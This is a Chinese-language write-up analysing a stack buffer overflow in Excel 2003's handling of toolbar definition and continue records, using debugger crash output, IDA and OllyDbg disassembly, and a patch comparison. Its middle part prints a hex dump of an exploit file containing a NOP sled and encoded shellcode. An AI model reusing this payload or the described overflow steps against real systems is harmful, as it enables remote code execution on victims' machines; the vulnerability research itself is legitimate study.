基于污点追踪思路的漏洞分析方法
我用的是xp的英文系统,结果不一样,但是报错的地址是一样的
我们继续吧
(668.e94): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=51455047 ebx=0013f6dc ecx=00000006 edx=31622f28 esi=00000000 edi=00000400 eip=300e06f7 esp=0013d698 ebp=0013d704 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE - EXCEL!Ordinal41+0xe06f7: 300e06f7 8908 mov dword ptr [eax],ecx ds:0023:51455047=???????? *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll - 0:000> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 0013d704 584b4c4b 30435451 50453043 55514b4c EXCEL!Ordinal41+0xe06f7 0013d708 30435451 50453043 55514b4c 4b4c4c47 0x584b4c4b 0013d70c 50453043 55514b4c 4b4c4c47 35434c43 EXCEL!Ordinal41+0x435451 0013d710 55514b4c 4b4c4c47 35434c43 51453844 0x50453043 0013d714 4b4c4c47 35434c43 51453844 4b4c4f4a 0x55514b4c 0013d718 35434c43 51453844 4b4c4f4a 58444f50 0x4b4c4c47 0013d71c 51453844 4b4c4f4a 58444f50 4f514b4c 0x35434c43 0013d720 4b4c4f4a 58444f50 4f514b4c 51455047 0x51453844 0013d724 58444f50 4f514b4c 51455047 59514b4a 0x4b4c4f4a 0013d728 4f514b4c 51455047 59514b4a 54464b4c 0x58444f50 0013d72c 51455047 59514b4a 54464b4c 31434b4c 0x4f514b4c 0013d730 59514b4a 54464b4c 31434b4c 51464e4a 0x51455047 0013d734 54464b4c 31434b4c 51464e4a 394a5049 0x59514b4a 0013d738 31434b4c 51464e4a 394a5049 444c4c4e 0x54464b4c 0013d73c 51464e4a 394a5049 444c4c4e 54425049 mso!Ordinal3217+0x2c2f 0013d740 394a5049 444c4c4e 54425049 51495745 0x51464e4a 0013d744 444c4c4e 54425049 51495745 4d444a48 0x394a5049 0013d748 54425049 51495745 4d444a48 52495145 0x444c4c4e 0013d74c 51495745 4d444a48 52495145 444b4b4a 0x54425049 0013d750 4d444a48 52495145 444b4b4a 34464b47 0x51495745
通过ida可以看到这个地址在函数sub_300E05AD中
那我们在sub_300E05AD开始处下断点
暂停后我们对栈顶下硬件写入断点,这样比内存断点快多了
将一大字符串复制到栈上
ida看一下是sub_300DE7EC函数中复制出的问题
这里复制来源是data段的一个地址3088EC40,长度是v7,我们动态看看v7来源于什么,即eax来源于哪里
.text:300DE7EC VulFun proc near .text:300DE7EC .text:300DE7EC .text:300DE7EC arg_0 = dword ptr 4 .text:300DE7EC arg_4 = dword ptr 8 .text:300DE7EC arg_8 = dword ptr 0Ch .text:300DE7EC .text:300DE7EC ; FUNCTION CHUNK AT .text:30107F82 SIZE 00000006 BYTES .text:300DE7EC ; FUNCTION CHUNK AT .text:3011A1F8 SIZE 00000039 BYTES .text:300DE7EC ; FUNCTION CHUNK AT .text:30238F06 SIZE 00000017 BYTES .text:300DE7EC .text:300DE7EC push ebx .text:300DE7ED ; 9: v4 = a3; .text:300DE7ED mov ebx, [esp+4+arg_4] .text:300DE7F1 ; 10: if ( a3 ) .text:300DE7F1 test ebx, ebx .text:300DE7F3 jz loc_30107F82 .text:300DE7F9 ; 12: if ( a3 > a4 ) .text:300DE7F9 cmp ebx, [esp+4+arg_8] .text:300DE7FD ja loc_30238F06 .text:300DE803 ; 17: v5 = dword_30892C44; .text:300DE803 mov edx, dword_30892C44 .text:300DE809 ; 18: v6 = nNumberOfBytesToRead; .text:300DE809 mov eax, nNumberOfBytesToRead .text:300DE80E ; 19: a1 = a2; .text:300DE80E push ebp .text:300DE80F mov ebp, [esp+8+arg_0] .text:300DE813 push esi .text:300DE814 push edi .text:300DE815 ; 22: if ( v5 >= v6 ) .text:300DE815 .text:300DE815 loc_300DE815: ; CODE XREF: VulFun+3BA1Cj .text:300DE815 cmp edx, eax .text:300DE817 jge loc_3011A20D .text:300DE81D ; 32: v7 = v6 - v5; .text:300DE81D .text:300DE81D loc_300DE81D: ; CODE XREF: VulFun+3BA40j .text:300DE81D sub eax, edx .text:300DE81F ; 33: if ( v4 < v7 ) .text:300DE81F cmp ebx, eax .text:300DE821 jge short loc_300DE825 .text:300DE823 ; 34: v7 = v4; .text:300DE823 mov eax, ebx .text:300DE825 ; 35: qmemcpy(a1, (char *)&dword_3088EC40 + v5, v7); .text:300DE825 .text:300DE825 loc_300DE825: ; CODE XREF: VulFun+35j .text:300DE825 lea esi, dword_3088EC40[edx] .text:300DE82B mov ecx, eax .text:300DE82D mov edx, ecx .text:300DE82F shr ecx, 2 .text:300DE832 mov edi, ebp .text:300DE834 rep movsd .text:300DE836 ; 36: v4 -= v7; .text:300DE836 mov ecx, edx .text:300DE838 and ecx, 3 .text:300DE83B rep movsb .text:300DE83D mov edx, dword_30892C44 .text:300DE843 sub ebx, eax .text:300DE845 ; 37: v5 = v7 + dword_30892C44; .text:300DE845 add edx, eax .text:300DE847 ; 38: a1 += v7; .text:300DE847 add ebp, eax .text:300DE849 ; 39: dword_30892C44 += v7; .text:300DE849 test ebx, ebx .text:300DE84B mov dword_30892C44, edx .text:300DE851 ; 40: if ( !v4 ) .text:300DE851 ; 41: break; .text:300DE851 jnz loc_3011A1F8 .text:300DE857 ; 45: result = a1 - a2; .text:300DE857 .text:300DE857 loc_300DE857: ; CODE XREF: VulFun+3BA16j .text:300DE857 pop edi .text:300DE858 pop esi .text:300DE859 mov eax, ebp .text:300DE85B sub eax, [esp+8+arg_0] .text:300DE85F ; 51: return result; .text:300DE85F pop ebp .text:300DE860 pop ebx .text:300DE861 retn 0Ch
从这里传进来,即第二个参数
之后就赋值给eax,再赋值给ecx
由于复制以dword为单位,所以ecx右移两字节,总共0x300字节
但这时我发现跟上面实践时的硬件断点不一样,那么最终复制的终点是0013D9A3
导致从栈上取数据后,取到的是畸形数据,再次引用产生异常
那这样我的一个想法就是覆盖SEH,利用漏洞?
我们可以看到这数据来源于3070df3d的call
我们跟过去看看
3070DF0A |. 83F8 3C ||CMP EAX,3C ;判断record type是否为0x3C 3070DF0D |. 8945 68 ||MOV DWORD PTR SS:[EBP+68],EAX 3070DF10 |. 0F85 C80A0000 ||JNZ EXCEL.3070E9DE 3070DF16 |. E8 AA089DFF ||CALL EXCEL.300DE7C5;作者那里有符号表,这里 获取复制的字节数,返回eax=0x300 3070DF1B |. 8B7D 34 ||MOV EDI,DWORD PTR SS:[EBP+34] 3070DF1E |. 0FAF7D 70 ||IMUL EDI,DWORD PTR SS:[EBP+70] 3070DF22 |. 8945 7C ||MOV DWORD PTR SS:[EBP+7C],EAX ;这里是长度的来源 3070DF25 |. 8B45 6C ||MOV EAX,DWORD PTR SS:[EBP+6C] 3070DF28 |. 8D7407 03 ||LEA ESI,DWORD PTR DS:[EDI+EAX+3] ;计算目的地址 3070DF2C |. E8 735B9BFF ||CALL EXCEL.300C3AA4 3070DF31 |. 6A FD ||PUSH -3 3070DF33 |. 59 ||POP ECX 3070DF34 |. 2BCF ||SUB ECX,EDI 3070DF36 |. 03C1 ||ADD EAX,ECX 3070DF38 |. 50 ||PUSH EAX ;Arg3 = FFFFEFE1 3070DF39 |. FF75 7C ||PUSH DWORD PTR SS:[EBP+7C] ;Arg2 = 00000300 3070DF3C |. 56 ||PUSH ESI;Arg1 = 0013D6A3(复制目的地) 3070DF3D |. E8 AA089DFF ||CALL EXCEL.300DE7EC
我们用ida看看
else if ( v82 == 0xA7 ) { v9 = &v7[v6]; v10 = dword_30895B44 < 5; LOBYTE(v10) = dword_30895B44 >= 5; v86 = (int)&v7[v6]; LOWORD(v9) = *(_WORD *)(v7 + 1); v69 = *(_WORD *)(v7 + 1); v11 = 2 * v10 + 2; v12 = &v7[v11 * v69 + 3]; v80 = v9; v87 = v7 + 3; v84 = v11; if ( (signed __int16)v9 > 0 ) { while ( 1 ) { --v80; v13 = (int)v87; while ( 1 ) { v14 = v81; if ( dword_30895B44 >= 5 ) { v85 = *(_DWORD *)v13; } else { LOWORD(v85) = *(_BYTE *)v13; HIWORD(v85) = *(_BYTE *)(v13 + 1); } if ( (_WORD)v85 ) break; v13 += v84; v15 = (signed __int16)v80--; v81 = 1; v87 = (char *)v13; if ( !v15 ) { v14 = v81; break; } } if ( HIWORD(v85) & 0x12F && (unsigned int)v12 >= v86 ) { v82 = sub_300DE7C5(); //v82=0x3C if ( v82 != 0x3C ) //判断record type是否为0x3C goto LABEL_184; v16 = sub_300DE7C5(); //返回复制的字节数 v17 = v84 * v69; v86 = v16; v12 = (char *)v83 + v84 * v69 + 3; //计算复制的目的地址 v18 = sub_300C3AA4(); //这个最后的参数FFFFEFE1暂时不清楚干嘛的 VulFun(v5, v12, v86, -3 - v17 + v18); //漏洞函数 //这里ida显示额第一个参数是ebp,即v5是ebp
我们再看看exploit代码
那么第一个record type可以进入else if,
那个0x300来源于field5
我们使用pyoffice对文件格式进行解析
[*]Opening file exploit.xlb [*]Listing streams/storages: Warning: OLE type 0x8 not in types [**]Detected Excel file exploit.xlb ******************************************************************************** [*]Dumping Workbook stream 0x3f7a (16250) bytes... [ii]BOF record: current count 1 [0]Record BOF [0x809 (2057)] offset 0x0 (0), len 0x10 (16) (Beginning of File) WORD vers = 0x600 (1536) WORD dt = 0x400 (1024) WORD rupBuild = 0x1faa (8106) WORD rupYear = 0x7cd (1997) DWORD bfh = 0x500c9 (327881) DWORD sfo = 0x406 (1030) [1]Record TOOLBARDEF [0xa7 (167)] offset 0x14 (20), len 0x4 (4) (Toolbar Definition:) BYTE fUnnamed = 0xb0 (176) WORD cbtn = 0xc0f (3087) Field 'rgbbtndef' is variable length, dumping rest of record: 0000000000 00 . [2]Record CONTINUE [0x3c (60)] offset 0x1c (28), len 0x300 (768) (Continues Long Records) Field 'data' is variable length, dumping rest of record: 0000000000 41 DF D6 D5 3B 00 00 00 00 00 00 00 00 00 00 00 A...;........... 0000000010 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0000000020 90 90 90 90 90 90 90 90 90 89 E5 D9 EE D9 75 F4 ..............u. 0000000030 5E 56 59 49 49 49 49 49 49 49 49 49 49 43 43 43 ^VYIIIIIIIIIICCC 0000000040 43 43 43 37 51 5A 6A 41 58 50 30 41 30 41 6B 41 CCC7QZjAXP0A0AkA 0000000050 41 51 32 41 42 32 42 42 30 42 42 41 42 58 50 38 AQ2AB2BB0BBABXP8 0000000060 41 42 75 4A 49 4B 4C 4B 58 51 54 43 30 43 30 45 ABuJIKLKXQTC0C0E 0000000070 50 4C 4B 51 55 47 4C 4C 4B 43 4C 43 35 44 38 45 PLKQUGLLKCLC5D8E 0000000080 51 4A 4F 4C 4B 50 4F 44 58 4C 4B 51 4F 47 50 45 QJOLKPODXLKQOGPE 0000000090 51 4A 4B 51 59 4C 4B 46 54 4C 4B 43 31 4A 4E 46 QJKQYLKFTLKC1JNF 00000000A0 51 49 50 4A 39 4E 4C 4C 44 49 50 42 54 45 57 49 QIPJ9NLLDIPBTEWI 00000000B0 51 48 4A 44 4D 45 51 49 52 4A 4B 4B 44 47 4B 46 QHJDMEQIRJKKDGKF 00000000C0 34 46 44 45 54 43 45 4A 45 4C 4B 51 4F 47 54 43 4FDETCEJELKQOGTC 00000000D0 31 4A 4B 43 56 4C 4B 44 4C 50 4B 4C 4B 51 4F 45 1JKCVLKDLPKLKQOE 00000000E0 4C 45 51 4A 4B 4C 4B 45 4C 4C 4B 43 31 4A 4B 4C LEQJKLKELLKC1JKL 00000000F0 49 51 4C 47 54 45 54 48 43 51 4F 46 51 4C 36 43 IQLGTETHCQOFQL6C 0000000100 50 46 36 45 34 4C 4B 50 46 50 30 4C 4B 47 30 44 PF6E4LKPFP0LKG0D 0000000110 4C 4C 4B 44 30 45 4C 4E 4D 4C 4B 42 48 44 48 4D LLKD0ELNMLKBHDHM 0000000120 59 4B 48 4B 33 49 50 43 5A 46 30 45 38 4C 30 4C YKHK3IPCZF0E8L0L 0000000130 4A 45 54 51 4F 42 48 4D 48 4B 4E 4D 5A 44 4E 50 JETQOBHMHKNMZDNP 0000000140 57 4B 4F 4A 47 43 53 47 4A 51 4C 50 57 51 59 50 WKOJGCSGJQLPWQYP 0000000150 4E 50 44 50 4F 46 37 50 53 51 4C 43 43 42 59 44 NPDPOF7PSQLCCBYD 0000000160 33 43 44 43 55 42 4D 50 33 50 32 51 4C 42 43 45 3CDCUBMP3P2QLBCE 0000000170 31 42 4C 42 43 46 4E 45 35 44 38 42 45 43 30 41 1BLBCFNE5D8BEC0A 0000000180 41 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 A............... 0000000190 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 00000001A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 00000001B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 00000001C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 00000001D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 00000001E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 00000001F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0000000200 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0000000210 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0000000220 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0000000230 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0000000240 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0000000250 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0000000260 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0000000270 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0000000280 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0000000290 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 00000002A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 00000002B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 00000002C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 00000002D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 00000002E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 00000002F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ !!Invalid record length (0x9090, 37008) only have 0x3c56 (15446) left !!Attempting to recover from error !!Recovered from error, skipped 0x147 (327) bytes
解析了一下里面的东西还是很清晰的
漏洞利用
看了下exploit db上的,应该是覆盖返回地址
用msf生成一个看看,确实是缓冲区溢出
漏洞修复
但是查看图的时候报错
怪不得作者也没用上
修复后
看着就增加了这个判断
if ( v89 > (signed int)sub_300CDD2E() / v90 )
但里面的东西要动态调试才能弄清楚吧
应该都是长度限制的咯